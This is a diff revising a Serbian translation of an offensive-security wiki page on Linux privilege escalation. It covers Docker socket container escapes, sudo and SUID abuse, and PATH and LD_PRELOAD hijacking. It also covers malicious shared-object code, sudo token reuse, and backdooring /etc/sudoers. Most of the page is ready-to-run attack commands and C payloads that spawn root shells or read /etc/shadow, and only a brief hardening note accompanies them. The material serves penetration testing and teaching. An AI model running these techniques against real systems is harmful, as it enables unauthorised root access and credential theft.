should be secured. Podrazumevano, dostupan je za upis korisniku `root` i članovima `docker` grupe. Imati pristup za pisanje ovom socket-u može dovesti do privilege escalation. Ovde je pregled kako se to može uraditi i alternativne metode ukoliko Docker CLI nije dostupan. #### **Privilege Escalation with Docker CLI** -Ako imate pravo pisanja na Docker socket, možete eskalirati privilegije koristeći sledeće komande: +Ako imate pristup za pisanje Docker socketa, možete escalate privileges koristeći sledeće komande: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Ove komande vam omogućavaju da pokrenete container sa root pristupom datotečnom sistemu hosta. +Ove komande vam omogućavaju da pokrenete kontejner sa root pristupom fajl sistemu hosta. -#### **Korišćenje Docker API direktno** +#### **Korišćenje Docker API-ja direktno** U slučajevima kada Docker CLI nije dostupan, Docker socket se i dalje može manipulisati koristeći Docker API i `curl` komande. -1. **List Docker Images:** Dohvatite listu dostupnih images. +1. **List Docker Images:** Preuzmite listu dostupnih image-ova. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Pošaljite zahtev da kreirate container koji mount-uje root direktorijum host sistema. +2. **Create a Container:** Pošaljite zahtev za kreiranje kontejnera koji mount-uje root direktorijum host sistema. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create @@ -579,7 +579,7 @@ Start the newly created container: curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Koristite `socat` da uspostavite konekciju ka containeru, što omogućava izvršavanje komandi unutar njega. +3. **Attach to the Container:** Koristite `socat` da uspostavite konekciju ka kontejneru, omogućavajući izvršavanje komandi unutar njega. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -589,13 +589,13 @@ Connection: Upgrade Upgrade: tcp ``` -Nakon uspostavljanja `socat` konekcije, možete direktno izvršavati komande u containeru sa root pristupom datotečnom sistemu hosta. +Nakon uspostavljanja `socat` konekcije, možete izvršavati komande direktno u kontejneru sa root pristupom fajl sistemu hosta. ### Ostalo -Imajte na umu da ako imate write dozvole nad docker socket-om zato što ste **u grupi `docker`**, imate [**više načina za eskalaciju privilegija**](interesting-groups-linux-pe/index.html#docker-group). Ako [**docker API osluškuje na portu**, takođe ga možete kompromitovati](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Imajte na umu da, ako imate dozvole za pisanje nad docker socket-om zato što ste **unutar grupe `docker`** imate [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Ako je [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Pogledajte **više načina da izađete iz dockera ili da ga zloupotrebite za eskalaciju privilegija** u: +Proverite **još načina da izađete iz docker-a ili da ga zloupotrebite za eskalaciju privilegija** u: {{#ref}} @@ -604,16 +604,16 @@ docker-security/ ## Containerd (ctr) eskalacija privilegija -Ako ustanovite da možete da koristite komandu **`ctr`**, pročitajte sledeću stranicu jer **možda možete da je zloupotrebite za eskalaciju privilegija**: +Ako ustanovite da možete da koristite **`ctr`** komandu, pročitajte sledeću stranicu jer **možda ćete moći da je zloupotrebite za eskalaciju privilegija**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** eskalacija privilegija +## Eskalacija privilegija RunC -Ako ustanovite da možete da koristite komandu **`runc`**, pročitajte sledeću stranicu jer **možda možete da je zloupotrebite za eskalaciju privilegija**: +Ako ustanovite da možete da koristite **`runc`** komandu, pročitajte sledeću stranicu jer **možda ćete moći da je zloupotrebite za eskalaciju privilegija**: {{#ref}} @@ -622,15 +622,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus je sofisticiran sistem za inter-procesnu komunikaciju (IPC) koji omogućava aplikacijama efikasnu interakciju i razmenu podataka. Dizajniran imajući u vidu moderni Linux sistem, pruža robustan okvir za različite oblike komunikacije između aplikacija. +D-Bus je sofisticovan **inter-procesni komunikacioni sistem (IPC)** koji omogućava aplikacijama efikasnu interakciju i deljenje podataka. Dizajniran za moderni Linux sistem, nudi robustan okvir za različite oblike komunikacije između aplikacija. -Sistem je svestran, podržava osnovni IPC koji poboljšava razmenu podataka između procesa, podsećajući na unapređene UNIX domain sockets. Pored toga, pomaže u emitovanju događaja ili signala, podstičući besprekornu integraciju među komponentama sistema. Na primer, signal od Bluetooth daemona o dolaznom pozivu može naterati music player da utihne, poboljšavajući korisničko iskustvo. Dodatno, D-Bus podržava remote object system, pojednostavljujući service requests i pozive metoda između aplikacija, racionalizujući procese koji su tradicionalno bili kompleksni. +Sistem je svestran, podržavajući osnovni IPC koji poboljšava razmenu podataka između procesa, podsećajući na **enhanced UNIX domain sockets**. Štaviše, pomaže u emitovanju događaja ili signala, podstičući besprekornu integraciju među komponentama sistema. Na primer, signal od Bluetooth daemona o dolaznom pozivu može navesti plejer muzike da utiša zvuk, poboljšavajući korisničko iskustvo. Dodatno, D-Bus podržava sistem udaljenih objekata, pojednostavljujući zahteve za servisima i pozive metoda između aplikacija, čineći procese koji su tradicionalno bili kompleksni jednostavnijim. -D-Bus radi po modelu **allow/deny**, upravljajući dozvolama za poruke (pozivi metoda, emitovanje signala, itd.) na osnovu kumulativnog efekta podudaranja pravila politike. Te politike određuju interakcije sa bus-om, što potencijalno može omogućiti eskalaciju privilegija iskorišćavanjem tih dozvola. +D-Bus funkcioniše po modelu dozvoljavanje/odbijanje, upravljajući permisijama poruka (pozivi metoda, emitovanje signala, itd.) na osnovu kumulativnog efekta podudaranja pravila politike. Ove politike preciziraju interakcije sa bus-om, što potencijalno može omogućiti eskalaciju privilegija kroz eksploataciju ovih permisija. -Dat je primer takve politike u `/etc/dbus-1/system.d/wpa_supplicant.conf`, koji detaljno opisuje dozvole za korisnika root da poseduje, šalje i prima poruke od `fi.w1.wpa_supplicant1`. +Primer takve politike u /etc/dbus-1/system.d/wpa_supplicant.conf je naveden, detaljno opisujući dozvole za root korisnika da poseduje, šalje i prima poruke od fi.w1.wpa_supplicant1. -Politike bez određenog korisnika ili grupe primenjuju se univerzalno, dok politike u "default" kontekstu važe za sve koji nisu obuhvaćeni drugim specifičnim politikama. +Politike bez specificiranog korisnika ili grupe važe univerzalno, dok politike u "default" kontekstu važe za sve koji nisu obuhvaćeni nekim drugim specifičnim politikama. ```xml @@ -648,7 +648,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Mreža** -Uvek je zanimljivo da enumerate mrežu i utvrdite poziciju mašine. +Uvek je zanimljivo enumerate mrežu i utvrditi poziciju mašine. ### Generička enumeration ```bash @@ -675,14 +675,14 @@ lsof -i ``` ### Otvoreni portovi -Uvek proverite mrežne servise koji rade na mašini, a sa kojima niste mogli da stupite u interakciju pre nego što ste joj pristupili: +Uvek proverite mrežne servise koji rade na mašini sa kojom niste mogli da komunicirate pre nego što ste joj pristupili: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Proverite da li možete da sniff traffic. Ako možete, mogli biste da dobijete neke credentials. +Proverite da li možete sniff traffic. Ako možete, mogli biste da dohvatite neke credentials. ``` timeout 1 tcpdump ``` @@ -690,7 +690,7 @@ timeout 1 tcpdump ### Generic Enumeration -Proverite **who** ste, koje **privileges** imate, koji **users** se nalaze u sistemima, koji mogu da se **login** i koji imaju **root privileges**: +Proverite **who** ste, koje **privileges** imate, koji **users** postoje u sistemima, koji mogu da se **login** i koji imaju **root privileges**: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -712,23 +712,23 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Veliki UID +### Big UID -Neke Linux verzije su bile pogođene bagom koji omogućava korisnicima sa **UID > INT_MAX** da eskaliraju privilegije. Više informacija: [ovde](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [ovde](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) i [ovde](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Iskoristite ga** koristeći: **`systemd-run -t /bin/bash`** +Neke verzije Linuxa su bile pogođene bagom koji omogućava korisnicima sa **UID > INT_MAX** da eskaliraju privilegije. Više informacija: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Iskoristi ga** pomoću: **`systemd-run -t /bin/bash`** ### Grupe -Proverite da li ste **član neke grupe** koja bi vam mogla dodeliti root privilegije: +Proveri da li si **član neke grupe** koja bi ti mogla dodeliti root privilegije: {{#ref}} interesting-groups-linux-pe/ {{#endref}} -### Međuspremnik +### Clipboard -Proverite da li se u međuspremniku nalazi nešto zanimljivo (ako je moguće) +Proveri da li se u clipboard-u nalazi nešto interesantno (ako je moguće) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -743,29 +743,29 @@ fi ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` -### Known passwords +### Poznate lozinke -Ako **znaš bilo koju lozinku** u okruženju, **pokušaj da se prijaviš kao svaki korisnik** koristeći tu lozinku. +Ako **znate bilo koju lozinku** u okruženju, **pokušajte da se prijavite kao svaki korisnik** koristeći tu lozinku. ### Su Brute -Ako ti ne smeta da praviš mnogo buke i ako su `su` i `timeout` binarni fajlovi prisutni na računaru, možeš pokušati da brute-force korisnika koristeći [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) sa parametrom `-a` takođe pokušava da brute-force-uje korisnike. +Ako vam ne smeta da pravite mnogo buke i na računaru su prisutni `su` i `timeout` binarni fajlovi, možete pokušati da brute-force-ujete korisnika koristeći [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) sa `-a` parametrom takođe pokušava da brute-force-uje korisnike. -## Writable PATH abuses +## Zloupotrebe upisivog PATH-a ### $PATH -Ako otkriješ da možeš **pisati unutar neke fascikle iz $PATH** možda ćeš moći da escalate privileges tako što ćeš **napraviti backdoor unutar zapisive fascikle** sa imenom neke komande koja će biti izvršena od strane drugog korisnika (idealno root) i koja **nije učitana iz fascikle koja se nalazi pre** tvoje zapisive fascikle u $PATH. +Ako ustanovite da možete **pisati u neki direktorijum iz $PATH**, možda ćete moći da eskalirate privilegije tako što ćete **kreirati backdoor unutar upisivog direktorijuma** pod imenom neke komande koja će biti izvršena od strane drugog korisnika (idealno root) i koja se **ne učitava iz direktorijuma koji se nalazi pre** vašeg upisivog direktorijuma u $PATH. ### SUDO and SUID -Moguće je da ti je dozvoljeno da izvršiš neku komandu koristeći sudo, ili da neke komande imaju suid bit. Proveri to koristeći: +Možda vam je dozvoljeno da izvršite neku komandu koristeći sudo, ili fajlovi mogu imati suid bit. Proverite to koristeći: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Neke **neočekivane komande vam omogućavaju da čitate i/ili pišete datoteke ili čak izvršite naredbu.** Na primer: +Neke **neočekivane komande vam omogućavaju da čitate i/ili pišete datoteke ili čak izvršite komandu.** Na primer: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -782,30 +782,30 @@ $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -U ovom primeru korisnik `demo` može da pokrene `vim` kao `root`; sada je trivijalno dobiti shell dodavanjem ssh key u root directory ili pozivanjem `sh`. +U ovom primeru korisnik `demo` može da pokrene `vim` kao `root`, sada je trivijalno dobiti shell dodavanjem ssh key u root direktorijum ili pozivanjem `sh`. ``` sudo vim -c '!sh' ``` ### SETENV -Ova direktiva dozvoljava korisniku da **postavi promenljivu okruženja** dok izvršava nešto: +Ova direktiva omogućava korisniku da **set an environment variable** prilikom izvršavanja nečega: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Ovaj primer, **based on HTB machine Admirer**, bio je **ranjiv** na **PYTHONPATH hijacking** da učita proizvoljnu python biblioteku pri izvršavanju skripte kao root: +Ovaj primer, **zasnovan na HTB machine Admirer**, bio je **ranjiv** na **PYTHONPATH hijacking** koji је omogućavao učitavanje произвољне python библиотеке током извршавања скрипте као root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` ### BASH_ENV sačuvan preko sudo env_keep → root shell -Ako sudoers sačuva `BASH_ENV` (npr. `Defaults env_keep+="ENV BASH_ENV"`), možete iskoristiti Bash-ovo ponašanje pri pokretanju neinteraktivnog shell-a da pokrenete proizvoljni kod kao root kada pozovete dozvoljenu komandu. +Ako sudoers sačuva `BASH_ENV` (npr. `Defaults env_keep+="ENV BASH_ENV"`), možete iskoristiti Bash-ovo ponašanje pri pokretanju neinteraktivnih shell-ova da pokrenete proizvoljan kod kao root kada pozivate dozvoljenu komandu. -- Zašto ovo radi: Za neinteraktivne shelove, Bash procenjuje `$BASH_ENV` i učitava taj fajl pre pokretanja ciljnog skripta. Mnoge sudo politike dozvoljavaju pokretanje skripte ili shell wrapper-a. Ako sudo sačuva `BASH_ENV`, vaš fajl se učitava sa root privilegijama. +- Zašto to funkcioniše: Za neinteraktivne shell-ove, Bash evaluira `$BASH_ENV` i source-uje taj fajl pre nego što pokrene ciljni skript. Mnoge sudo politike dozvoljavaju pokretanje skripta ili shell wrapper-a. Ako `BASH_ENV` bude sačuvan od strane sudo, vaš fajl će biti učitan sa root privilegijama. - Zahtevi: -- Sudo pravilo koje možete pokrenuti (bilo koji target koji poziva `/bin/bash` neinteraktivno, ili bilo koja bash skripta). +- Pravilo u sudo koje možete pokrenuti (bilo koji target koji poziva `/bin/bash` neinteraktivno, ili bilo koji bash skript). - `BASH_ENV` prisutan u `env_keep` (proverite sa `sudo -l`). - PoC: @@ -819,13 +819,13 @@ BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/ # You should now have a root shell ``` - Ojačavanje: -- Uklonite `BASH_ENV` (i `ENV`) iz `env_keep`; umesto toga koristite `env_reset`. -- Izbegavajte shell wrappers za sudo-allowed komande; koristite minimalne binarije. -- Razmotrite sudo I/O logging i alerting kada se koriste preserved env vars. +- Uklonite `BASH_ENV` (i `ENV`) iz `env_keep`, preferirajte `env_reset`. +- Izbegavajte shell wrappers za sudo-allowed komande; koristite minimalne binarne fajlove. +- Razmotrite sudo I/O logging i alerting kada se koriste sačuvane env vars. -### Putevi za obilaženje izvršavanja sudo +### Sudo — putevi za zaobilaženje izvršenja -**Skočite** da biste pročitali druge fajlove ili koristite **symlinks**. Na primer u sudoers fajlu: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Skočite** da pročitate druge fajlove ili koristite **symlinks**. Na primer u sudoers fajlu: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -835,30 +835,30 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -Ako se koristi **wildcard** (\*), još je lakše: +Ako se **wildcard** koristi (\*), još je lakše: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **Protivmere**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary bez putanje do komande +### Sudo command/SUID binary bez command path -Ako je **sudo permission** dodeljena jednoj komandi **bez specificiranja putanje**: _hacker10 ALL= (root) less_ možete to iskoristiti menjanjem PATH varijable +Ako je **sudo permission** dodeljen jednoj komandi **bez specificiranja path-a**: _hacker10 ALL= (root) less_ možete to exploit-ovati menjajući PATH variable. ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Ova tehnika se takođe može koristiti ako **suid** binary **izvršava drugu komandu bez navođenja putanje do nje (uvek proveri pomoću** _**strings**_ **sadržaj čudnog SUID binarnog fajla)**. +Ova tehnika se takođe može koristiti ako **suid** binary **izvršava neku drugu komandu bez navođenja putanje do nje (uvek proverite sadržaj čudnog SUID binarnog fajla pomoću** _**strings**_**).** [Payload examples to execute.](payloads-to-execute.md) ### SUID binary sa putanjom komande -Ako **suid** binary **izvršava drugu komandu navodeći putanju**, onda možete pokušati da **export a function** nazvanu kao komanda koju taj suid fajl poziva. +Ako **suid** binary **izvršava drugu komandu navodeći putanju**, onda možete pokušati da **export a function** imenovanu kao komanda koju suid fajl poziva. -Na primer, ako suid binary poziva _**/usr/sbin/service apache2 start**_, treba pokušati da kreirate funkciju i export it: +Na primer, ako suid binary poziva _**/usr/sbin/service apache2 start**_ morate pokušati da kreirate funkciju i exportujete je: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service @@ -867,14 +867,14 @@ Zatim, kada pozovete suid binarni fajl, ova funkcija će biti izvršena ### LD_PRELOAD & **LD_LIBRARY_PATH** -Okruženjska promenljiva **LD_PRELOAD** koristi se za navođenje jedne ili više deljenih biblioteka (.so fajlova) koje loader učitava pre svih ostalih, uključujući standardnu C biblioteku (`libc.so`). Ovaj proces je poznat kao preloading biblioteke. +Okruženjska promenljiva **LD_PRELOAD** koristi se za navođenje jedne ili više shared libraries (.so files) koje loader učitava pre svih ostalih, uključujući standardnu C biblioteku (`libc.so`). Ovaj proces se naziva učitavanje biblioteke unapred. -Međutim, da bi se održala sigurnost sistema i sprečilo zloupotrebljavanje ove funkcije, posebno sa **suid/sgid** izvršnim fajlovima, sistem primenjuje određene uslove: +Međutim, da bi se održala sigurnost sistema i sprečilo zloupotrebljavanje ove funkcije, naročito kod **suid/sgid** izvršnih fajlova, sistem nameće određene uslove: -- Loader zanemaruje **LD_PRELOAD** za izvršne fajlove kod kojih se stvarni korisnički ID (_ruid_) ne poklapa sa efektivnim korisničkim ID (_euid_). -- Za izvršne fajlove sa **suid/sgid**, samo biblioteke iz standardnih putanja koje su takođe **suid/sgid** se pre-učitavaju. +- Loader zanemaruje **LD_PRELOAD** za izvršne fajlove gde real user ID (_ruid_) nije isti kao effective user ID (_euid_). +- Za izvršne fajlove sa suid/sgid, samo biblioteke u standardnim putanjama koje takođe imaju suid/sgid biće učitane unapred. -Eskalacija privilegija može nastati ako imate mogućnost izvršavanja komandi sa `sudo` i izlaz `sudo -l` sadrži izraz **env_keep+=LD_PRELOAD**. Ova konfiguracija omogućava da promenljiva okruženja **LD_PRELOAD** opstane i bude prepoznata čak i kada se komande pokreću sa `sudo`, što potencijalno može dovesti do izvršavanja proizvoljnog koda sa povišenim privilegijama. +Do eskalacije privilegija može doći ako imate mogućnost izvršavanja komandi sa `sudo` i izlaz `sudo -l` sadrži izjavu **env_keep+=LD_PRELOAD**. Ova konfiguracija omogućava da okruženjska promenljiva **LD_PRELOAD** ostane i bude prepoznata čak i kada se komande pokreću sa `sudo`, što potencijalno može dovesti do izvršavanja proizvoljnog koda sa povišenim privilegijama. ``` Defaults env_keep += LD_PRELOAD ``` @@ -891,7 +891,7 @@ setuid(0); system("/bin/bash"); } ``` -Zatim **kompajlirajte** koristeći: +Zatim **compile it** koristeći: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles @@ -901,7 +901,7 @@ Na kraju, **escalate privileges** pokretanjem sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Sličan privesc se može zloupotrebiti ako napadač kontroliše env promenljivu **LD_LIBRARY_PATH**, jer tada kontroliše putanju u kojoj će se tražiti biblioteke. +> Sličan privesc može biti zloupotrebljen ako napadač kontroliše **LD_LIBRARY_PATH** env variable, jer on kontroliše putanju na kojoj će se pretraživati biblioteke. ```c #include #include @@ -923,13 +923,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Kada naiđete na binary sa **SUID** permisijama koji deluje neuobičajeno, dobro je proveriti da li pravilno učitava **.so** fajlove. To se može uraditi pokretanjem sledeće komande: +Kada naiđete na binarni fajl sa **SUID** permisijama koji izgleda neuobičajeno, dobra je praksa proveriti da li pravilno učitava **.so** fajlove. To se može proveriti pokretanjem sledeće komande: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Na primer, naići na grešku kao _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ ukazuje na potencijal za eksploataciju. +Na primer, nailazak na grešku kao _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugeriše potencijal za eksploataciju. -Da bi se ovo iskoristilo, pristup bi bio kreiranje C fajla, recimo _"/path/to/.config/libcalc.c"_, koji sadrži sledeći kod: +Da bi se ovo iskoristilo, kreira se C fajl, na primer _"/path/to/.config/libcalc.c"_, koji sadrži sledeći kod: ```c #include #include @@ -940,13 +940,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Ovaj kod, kada se kompajlira i izvrši, ima za cilj da poveća privilegije manipulisanjem dozvola fajla i izvršavanjem shell-a sa povišenim privilegijama. +Ovaj kod, nakon što se kompajlira i izvrši, ima za cilj eskalaciju privilegija manipulacijom dozvola fajlova i pokretanjem shell-a sa povišenim privilegijama. -Kompajlirajte gornji C fajl u shared object (.so) fajl pomoću: +Kompajlirajte gore navedeni C fajl u shared object (.so) fajl pomoću: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Na kraju, pokretanje pogođenog SUID binary trebalo bi da pokrene exploit, što može dovesti do kompromitovanja sistema. +Na kraju, pokretanje pogođenog SUID binary-ja trebalo bi da aktivira exploit i omogući potencijalno kompromitovanje sistema. ## Shared Object Hijacking ```bash @@ -958,7 +958,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Sada kada smo pronašli SUID binarni fajl koji učitava biblioteku iz direktorijuma u koji možemo pisati, hajde da kreiramo biblioteku u tom direktorijumu sa potrebnim imenom: +Sada kada smo pronašli SUID binarni fajl koji učitava biblioteku iz fascikle u koju možemo pisati, napravimo biblioteku u toj fascikli sa potrebnim imenom: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -971,17 +971,17 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -Ako dobijete grešku kao što je +Ako dobijete grešku poput ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -to znači da biblioteka koju ste generisali treba da sadrži funkciju nazvanu `a_function_name`. +to znači da biblioteka koju ste generisali mora da ima funkciju nazvanu `a_function_name`. ### GTFOBins [**GTFOBins**](https://gtfobins.github.io) je kurirana lista Unix binarnih fajlova koje napadač može iskoristiti da zaobiđe lokalna bezbednosna ograničenja. [**GTFOArgs**](https://gtfoargs.github.io/) je isto, ali za slučajeve kada možete **samo ubacivati argumente** u komandu. -Projekat prikuplja legitimne funkcije Unix binarnih fajlova koje se mogu zloupotrebiti da se izađe iz ograničenih shell-ova, eskalira ili održi povišene privilegije, prenesu fajlovi, pokrenu bind and reverse shells, i olakšaju drugi post-exploitation zadaci. +Projekat prikuplja legitimne funkcije Unix binarnih fajlova koje se mogu zloupotrebiti za izlazak iz restricted shells, eskalaciju ili održavanje povišenih privilegija, transfer fajlova, spawn bind i reverse shells, i olakšavanje ostalih post-exploitation zadataka. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -1000,30 +1000,30 @@ https://gtfoargs.github.io/ ### FallOfSudo -Ako možete da pokrenete `sudo -l` možete koristiti alat [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) da proverite da li pronalazi način da eksploatiše bilo koje sudo pravilo. +Ako imate pristup `sudo -l`, možete koristiti alat [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) da proverite da li pronalazi način da iskoristi bilo koje sudo pravilo. ### Reusing Sudo Tokens -U slučajevima kada imate **sudo access** ali nemate lozinku, možete eskalirati privilegije tako što ćete **sačekati izvršenje sudo komande i onda presresti session token**. +U slučajevima kada imate **sudo access** ali nemate lozinku, možete eskalirati privilegije tako što ćete **sačekati izvršenje sudo komande i potom preuzeti token sesije**. -Requirements to escalate privileges: +Zahtevi za eskalaciju privilegija: -- Već imate shell kao korisnik "_sampleuser_" -- "_sampleuser_" je **koristio `sudo`** za izvršenje nečega u **poslednjih 15mins** (po defaultu to je trajanje sudo tokena koje nam omogućava da koristimo `sudo` bez unošenja lozinke) -- `cat /proc/sys/kernel/yama/ptrace_scope` je 0 +- Već imate shell kao korisnik _sampleuser_ +- _sampleuser_ je **koristio `sudo`** za izvršavanje nečega u **poslednjih 15 minuta** (po defaultu to je trajanje sudo tokena koje nam omogućava da koristimo `sudo` bez unošenja lozinke) +- `cat /proc/sys/kernel/yama/ptrace_scope` mora da bude 0 - `gdb` je dostupan (možete ga otpremiti) -(You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`) +(Privremeno možete omogućiti `ptrace_scope` sa `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ili trajno izmenom `/etc/sysctl.d/10-ptrace.conf` i postavljanjem `kernel.yama.ptrace_scope = 0`) -If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +Ako su svi ovi zahtevi ispunjeni, **možete eskalirati privilegije koristeći:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): +- Prvi **exploit** (`exploit.sh`) će kreirati binarni fajl `activate_sudo_token` u _/tmp_. Možete ga koristiti da **aktivirate sudo token u vašoj sesiji** (nećete automatski dobiti root shell, uradite `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- **drugi exploit** (`exploit_v2.sh`) će kreirati sh shell u _/tmp_ **u vlasništvu root sa setuid** +- Drugi **exploit** (`exploit_v2.sh`) će napraviti sh shell u _/tmp_ **koji pripada root-u i ima setuid** ```bash bash exploit_v2.sh /tmp/sh -p @@ -1035,26 +1035,25 @@ sudo su ``` ### /var/run/sudo/ts/\ -Ako imate **dozvole za pisanje** u folderu ili na bilo kojem od fajlova kreiranih unutar foldera možete koristiti binarni fajl [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) da **kreirate sudo token za korisnika i PID**.\ -Na primer, ako možete prepisati fajl _/var/run/sudo/ts/sampleuser_ i imate shell kao taj korisnik sa PID 1234, možete **dobiti sudo privilegije** bez potrebe da znate lozinku radeći: +Ako imate **write permissions** u toj fascikli ili na bilo kojoj od kreiranih datoteka unutar fascikle, možete koristiti binarni fajl [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) da **kreirate sudo token za korisnika i PID**.\ +Na primer, ako možete da prepišete fajl _/var/run/sudo/ts/sampleuser_ i imate shell kao taj korisnik sa PID 1234, možete **dobiti sudo privilegije** bez potrebe da znate lozinku izvršivši: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Fajl `/etc/sudoers` i fajlovi unutar `/etc/sudoers.d` konfigurišu ko može da koristi `sudo` i kako. -Ovi fajlovi **podrazumevano mogu biti čitani samo od strane korisnika root i grupe root**.\ -**Ako** možete **pročitati** ovaj fajl, mogli biste da **dobijete neke zanimljive informacije**, a ako možete **upisati** bilo koji fajl, moći ćete da **escalate privileges**. +Fajl `/etc/sudoers` i fajlovi unutar `/etc/sudoers.d` konfigurišu ko može da koristi `sudo` i na koji način. Ovi fajlovi **podrazumevano mogu biti čitani samo od strane korisnika root i grupe root**.\ +**Ako** možete **čitati** ovaj fajl, mogli biste **dobiti neke zanimljive informacije**, a ako možete **pisati** bilo koji fajl, moći ćete da **escalate privileges**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Ako možeš da pišeš, možeš da zloupotrebiš ovu dozvolu +Ako možeš da pišeš, možeš i da zloupotrebiš ovu dozvolu. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -Drugi način zloupotrebe ovih dozvola: +Još jedan način da se zloupotrebe ova dopuštenja: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -1063,15 +1062,15 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Postoje neke alternative binarnom fajlu `sudo`, kao što je `doas` na OpenBSD; proverite njegovu konfiguraciju u `/etc/doas.conf` +Postoje alternative `sudo` binarnoj datoteci, kao što je 